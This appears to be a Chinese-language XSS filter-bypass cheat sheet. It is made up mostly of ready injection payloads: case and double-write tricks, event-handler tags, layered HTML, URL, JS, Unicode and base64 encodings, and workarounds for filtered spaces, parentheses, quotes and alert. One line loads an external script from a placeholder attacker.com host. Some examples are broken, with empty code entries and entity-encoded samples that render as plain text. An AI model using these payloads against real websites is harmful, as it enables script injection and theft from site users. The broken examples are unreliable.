简单的绕过方式
1.大小写绕过
针对后端匹配敏感字符是未考虑大小写语义相同的情况,比如<script>和<ScRiPT>这俩对于前端来说都一样,所以可以达到绕过的目的
<ScRipT>alert('1')<ScriPt>
2.双写绕过
针对后端对敏感字符进行了替换的情况,如将script替换可以以scrscriptipt来进行绕过
onclick–>ononclick
<scrscriptipt>alert("1")<scrscriptipt>
3.常见绕过方式
- 使用不完整的HTML标签 • 代码:<scr<script>ipt>alert(‘XSS’)</script> • 解释:通过创建不完整的标签来混淆过滤器。 • 应用:适用于过滤器尝试纠正不完整的标签时。
- 使用不寻常的标签 • 代码:<xss><script>alert(‘XSS’)</script> • 解释:利用浏览器容错机制来解析异常标签。 • 应用:适用于简单的标签名过滤。
- 利用CDATA • 代码:<![CDATA[<script>]]>alert(‘XSS’)<!– • 解释:利用CDATA区块绕过。 • 应用:在XML或XHTML上下文中使用。
- 利用注释 • 代码:<!–<script>alert(‘XSS’)</script>–> • 解释:在脚本中添加HTML注释来混淆过滤器。 • 应用:在处理HTML注释时的过滤器绕过。
- 使用文档对象模型(DOM) • 代码:Click me • 解释:通过DOM方法来执行脚本。 • 应用:适用于过滤器不处理javascript伪协议的情况。
- 利用事件元素• 代码:<audio src=”x” onerror=”alert(‘XSS’)”/> • 解释:利用HTML5元素的事件。 • 应用:在支持HTML5的网站中绕过过滤。
- 使用特殊字符 • 代码:<scr\0ipt>alert(‘XSS’)</scr\0ipt> • 解释:在关键词中插入特殊字符(如空字符)来绕过过滤。 • 应用:当过滤器不处理特 殊字符时。
- 利用外部脚本 • 代码:<script src=”http://attacker.com/xss.js”></script> • 解释:通过外部文件引入脚本。 • 应用:适用于过滤器未限制外部资源的情况。
- 利用CSS注入 • 代码:<div style=”background:url(javascript:alert(‘XSS’))”></div> • 解释:通过CSS属性执行脚本。 • 应用:适用于过滤器不充分处理样式属性的情况。
- 利用JavaScript事件 • 代码: • 解释:通过HTML元素的事件处理器注入脚本。 • 应用:在标签属性中注入脚本,而不是直接使用<script>标签。
编码绕过
浏览器对 XSS 代码的解析顺序为:HTML解码 —— URL解码 —— JS解码(只支持UNICODE)。
1. html 实体编码
当可控点为单个标签属性时,可以使用 html 实体编码。
<a href="可控点">test</a>
<iframe src="可控点">test<iframe>
<img src=x onerror="可控点">
Payload
<a href="javascript:alert(1)">test</a>
十进制
<a href="javascript:alert(1)">test</a>
十六进制
<a href="javascript:alert(1)">test</a>
可以不带分号
<a href="javascript:alert(1)">test</a>
可以填充0
<a href="javascript:alert(1)">test</a>
2. url 编码
当注入点存在 href 或者 src 属性时,可以使用 url 编码。
<a href="可控点">test</a>
<iframe src="可控点">test</iframe>
Payload
<a href="javascript:alert(1)">test</a>
<iframe src="javascript:alert(1)">test</iframe>
注:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29">test</iframe>
可以二次编码
<a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a>
<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</iframe>
3. js 编码
解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称,例如 js 解析器工作的时候将\u0061\u006c\u0065\u0072\u0074
进行解码后为alert
,而alert
是一个有效的标识符名称,它是能被正常解析的。但是像圆括号、双引号、单引号等等这些字符就只能被当作普通的文本,从而导致无法执行。
由于 js 是最后进行解析的,所以如果混合编码,需要先使用 js 编码再进行 url 编码或者 html 实体编码。
js 编码策略:
- “” 加上三个八进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\074”
- “\x” 加上两个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\x3c”
- “\u” 加上四个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\u003c”
- 对于一些控制字符,使用特殊的 C 类型的转义风格(例如 \n 和 \r)
<img src=x onerror="可控点">
<input onfocus=location="可控点" autofocus>
Payload
<img src=x onerror="alert(1)">
<input onfocus=location="alert(1)" autofocus>
Unicode 编码
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
注:
Unicode 编码时,只能对有效的标识符进行编码,否则非标识符解码后不能解析执行。例如 javascript:alert(1) ,进行 Unicode 编码时,只能对 alert 和 “1” 进行编码,框号编码后会被当成文本字符,不能执行。**ascii 八进制和十六进制编码使用时需要 eval、setTimeout等函数传递变量,并且可以对整个传递参数进行编码。例如 eval(“alert(1)”),可以对 “alert(1)” 整个进行八进制、十六进制或者 Unicode 编码(双引号不参与)。**
八进制和十六进制
setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。
语法:setTimeout(要执行的代码, 等待的毫秒数)
setTimeout(JavaScript 函数, 等待的毫秒数)
1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
5.<script>eval("\141\154\145\162\164\050\061\051")</script>
6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
4. 混合编码
<a href="可控点">test</a>
Payload
<a href="javascript:alert(1)">test</a>
html 编码
<a href="javascript:alert(1)">test</a>
Unicode 编码
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
注:Unicode 编码不能对括号使用
url 编码
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
由于浏览器对 xss 代码的解析过程是:html解析 —— url解析 —— js解析,所以可以编码方式进行组合绕过。
1. 原代码
<a href="javascript:alert(1)">test</a>
2. 对alert进行JS编码(unicode编码)
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
3. 对href标签中的\u0061\u006c\u0065\u0072\u0074进行URL编码
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>
4. 对href标签中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)进行HTML编码:
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>
注:href、src等加载url的属性可以使用三种混合编码,on事件可以使用html实体编码和js编码混合,但url编码在on事件中不会解析。
5. base64 编码
base64 编码通常需要使用到 data 伪协议。
data 协议使用方法:data:资源类型;编码,内容
base64编码内容为
<script>alert(/xss/)</script>
PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=
通常与 base64 编码配合 data 协议的标签有 <object>、<a>、<iframe>
1.<object> 标签
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
2.<a> 标签
<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">test</a> (新版浏览器不支持)
3.<iframe> 标签
<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>
4.<embed> 标签
<embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>
atob 函数
atob() 方法用于解码使用 base-64 编码的字符串。
语法:window.atob(encodedStr)
(encodedStr: 必需,是一个通过 btoa() 方法编码的字符串)
1.<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
2.<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a>
3.<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a>
4.<img src=x onmouseover="eval(window.atob('YWxlcnQoMSk='))">
5.<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
6.<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>
6. ascii 编码
alert(1)
十进制:97, 108, 101, 114, 116, 40, 49, 41
十六进制:0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29
十进制
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>
十六进制
<a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>
空格过滤绕过
<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>
A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>
圆括号过滤绕过
1. 反引号替换
<script>alert`1`</script>
2. throw 绕过
<video src onerror="javascript:window.onerror=alert;throw 1">
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
单引号过滤绕过
1. 斜杠替换
<script>alert(/xss/)</script>
2. 反引号替换
<script>alert(`xss`)</script>
alert 过滤绕过
1. prompt 替换
<script>prompt(/xss/)</script>
2. confirm 替换
<script>confirm(/xss/)</script>
3. console.log 替换
<script>console.log(3)</script>
4. document.write 替换
<script>document.write(1)</script>
5. base64 绕过
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">